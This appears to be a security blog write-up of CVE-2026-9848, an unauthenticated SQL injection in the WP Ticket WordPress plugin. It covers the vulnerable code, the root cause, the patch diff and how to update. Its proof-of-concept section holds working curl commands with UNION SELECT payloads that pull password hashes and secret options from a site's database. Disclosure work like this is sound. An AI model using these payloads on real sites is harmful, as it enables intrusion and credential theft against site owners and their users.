CVE-2026-9848: WP Ticket Unauthenticated SQL Injection (CVSS 7.5)
Table of Contents
CVE-2026-9848 is a CVSS 7.5 (High) Unauthenticated SQL Injection vulnerability in the WP Ticket WordPress plugin. An attacker with no account can extract sensitive data — including password hashes and email addresses — from the database by sending a crafted WordPress search request.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | WP Ticket (Customer Support Ticket System & Helpdesk) |
| Plugin Slug | wp-ticket |
| CVE ID | CVE-2026-9848 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Vulnerability Type | SQL Injection |
| Affected Versions | <= 6.0.4 |
| Patched Version | 6.0.5 |
| Published | June 12, 2026 |
| Researcher | she11f |
| Wordfence Advisory | Link |
Description
The WP Ticket plugin for WordPress is vulnerable to SQL Injection via the WordPress search parameter (s) in versions up to and including 6.0.4. The plugin hooks WordPress’s posts_request filter with wp_ticket_com_posts_request(), which calls emd_author_search_results() when the current request is an unauthenticated front-end search. That function reads $query->query_vars['s'] — already wp_unslash()’d by WP_Query::parse_query(), so magic quotes protection has been stripped — and concatenates the raw value into a SQL LIKE clause inside a UNION sub-SELECT appended to the main query, with no $wpdb->prepare() or escaping. This makes it possible for unauthenticated attackers to append additional SQL queries into already-existing queries to extract sensitive information from the database.
Technical Analysis
Execution Path
The vulnerability starts at plugin activation. WP Ticket registers the emd-ticket post type with frontend author-limitby capabilities. This populates the wp_ticket_com_limitby_auth_caps WordPress option.
When any visitor performs a front-end search (/?s=), WordPress fires the posts_request filter with the final SQL string. The plugin intercepts it:
includes/query-filters.php — line 9 and 54–62:
add_filter('posts_request', 'wp_ticket_com_posts_request', 99, 2);
function wp_ticket_com_posts_request($input, $query) {
global $wpdb;
if (!is_admin() && $query->is_main_query() && is_search()) {
$input = emd_author_search_results('wp_ticket_com', $input, $query, 'search');
}
return $input;
}
There is no authentication check here. Any front-end search query — from any visitor — reaches emd_author_search_results().
The Vulnerable Function
includes/common-functions.php — lines 144–195:
function emd_author_search_results($app, $input, $query, $type) {
global $wpdb;
// ...
$set_types = emd_find_limitby('frontend', $app); // returns ['emd-ticket'] by default
if (!empty($set_types)) {
$search = $query->query_vars['s']; // raw, unescaped user input
foreach (array_values($set_types) as $ptype) {
$pids = apply_filters('emd_limit_by', $pids, $app, $ptype, 'frontend');
if (empty($pids)) {
$input_add .= " UNION (SELECT * FROM " . $wpdb->posts
. " WHERE " . $wpdb->posts . ".post_type ='" . $ptype . "'"
. " AND " . $wpdb->posts . ".post_status = 'publish' AND ";
// SQL INJECTION HERE — $search is never escaped
$input_add .= "(" . $wpdb->posts . ".post_title LIKE '%" . $search . "%'"
. " OR " . $wpdb->posts . ".post_content LIKE '%" . $search . "%'))";
}
}
$input = $input . $input_add . " ORDER BY " . $wp_ticket_com_orderby . " " . $wp_ticket_com_limit;
}
return $input;
}
Root Cause
The variable $search at line 164 comes directly from $query->query_vars['s']. WordPress’s WP_Query::parse_query() calls wp_unslash() on $_GET['s'] before storing it — this strips addslashes protection. No further SQL escaping is applied before $search is concatenated into the raw SQL string.
Because the code builds raw SQL by string concatenation instead of using $wpdb->prepare(), an attacker can break out of the LIKE clause using a single quote and append arbitrary SQL.
Why It Is Unauthenticated
The posts_request filter fires on any front-end search. The function wp_ticket_com_posts_request() only checks !is_admin() and $query->is_main_query() — not whether the user is logged in. WordPress’s search (/?s=...) is available to all visitors. There is no nonce and no login check.
What an Attacker Can Extract
The injected UNION SELECT runs against the full database. An attacker can extract:
- WordPress user table (
wp_users): usernames, password hashes, email addresses - WordPress options table (
wp_options): secret keys, API credentials, configuration - Plugin tables: any data stored in the database
Proof of Concept
Disclaimer: This PoC is for educational and authorized testing only. Do not test against systems you do not own or have explicit permission to test.
Prerequisites:
- WP Ticket plugin installed and activated, version ≤ 6.0.4
- Default plugin configuration (setup wizard completed — this populates
wp_ticket_com_limitby_auth_caps) - Front-end search enabled (WordPress default)
Step 1 — Confirm the injection point is reachable
Send a search request with a single quote to trigger a database error:
curl -s "https://TARGET.com/?s=test'" | grep -i "syntax\|error\|SQL\|unexpected"
If MySQL errors appear or the page behaves differently from a normal search, the injection point is active.
Step 2 — Extract WordPress user credentials
The wp_posts table has 23 columns. The payload injects a UNION SELECT that maps user_login to column 6 (post_title) and user_pass to column 5 (post_content):
PAYLOAD="test' UNION SELECT 1,2,3,4,user_pass,user_login,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 FROM wp_users-- -"
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$PAYLOAD'''))")
curl -s "https://TARGET.com/?s=${ENCODED}"
Step 3 — Verify extraction
The search results page will render rows from wp_users. The post title area shows the username, and the post content area shows the bcrypt password hash:
curl -s "https://TARGET.com/?s=${ENCODED}" | grep -oP '\$P\$[a-zA-Z0-9./]{31}'
A successful response returns password hashes like $P$BXZVHhqmK8... that can be cracked offline with Hashcat.
Step 4 — Extract sensitive options
To read wp_options (e.g. secret keys):
PAYLOAD2="test' UNION SELECT 1,2,3,4,option_value,option_name,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 FROM wp_options WHERE option_name LIKE '%secret%'-- -"
ENCODED2=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$PAYLOAD2'''))")
curl -s "https://TARGET.com/?s=${ENCODED2}"
Patch Analysis
The fix in version 6.0.5 changes includes/common-functions.php in three places:
Before (vulnerable):
$input_add .= "(" . $wpdb->posts . ".post_title LIKE '%" . $search . "%'"
. " OR " . $wpdb->posts . ".post_content LIKE '%" . $search . "%'))";
After (patched):
+ // Prepare wildcard searching safely
+ $wildcard_search = '%' . $wpdb->esc_like($search) . '%';
- $input_add .= "(" . $wpdb->posts . ".post_title LIKE '%" . $search . "%'"
- . " OR " . $wpdb->posts . ".post_content LIKE '%" . $search . "%'))";
+ $input_add .= $wpdb->prepare(
+ "(" . $wpdb->posts . ".post_title LIKE %s OR " . $wpdb->posts . ".post_content LIKE %s))",
+ $wildcard_search, $wildcard_search
+ );
The patch applies two layers of protection:
$wpdb->esc_like($search)— escapes SQL wildcard characters (%,_,\) in user input so they are treated literally, not as wildcards.$wpdb->prepare()— uses parameterized queries to pass the value as a bound parameter instead of string concatenation. This prevents SQL injection regardless of the input.
The patch also fixes the elseif(!empty($diff_pids)) branch by casting all post IDs with array_map('intval', $pids) before building the IN clause, and wraps the $ptype value with esc_sql() — hardening adjacent code against similar issues.
Timeline
| Date | Event |
|---|---|
| June 12, 2026 | Vulnerability publicly disclosed by Wordfence |
| June 13, 2026 | Advisory last updated |
| June 17, 2026 | This post published |
Remediation
Update WP Ticket to version 6.0.5 or later immediately.
From the WordPress admin:
- Go to Plugins → Installed Plugins
- Find Customer Support Ticket System & Helpdesk
- Click Update Now
Alternatively, update via WP-CLI:
wp plugin update wp-ticket
Verify the installed version:
wp plugin get wp-ticket --fields=version
If you cannot update immediately, consider temporarily deactivating the plugin until you can apply the patch.
References
- Wordfence Advisory — CVE-2026-9848
- CVE Record — CVE-2026-9848
- Vulnerable code — common-functions.php L174
- Vulnerable code — common-functions.php L164
- Vulnerable code — query-filters.php L57
- Vulnerable code — filter-functions.php L22
- Patch changeset — common-functions.php
- Full patch diff — 6.0.4 to 6.0.5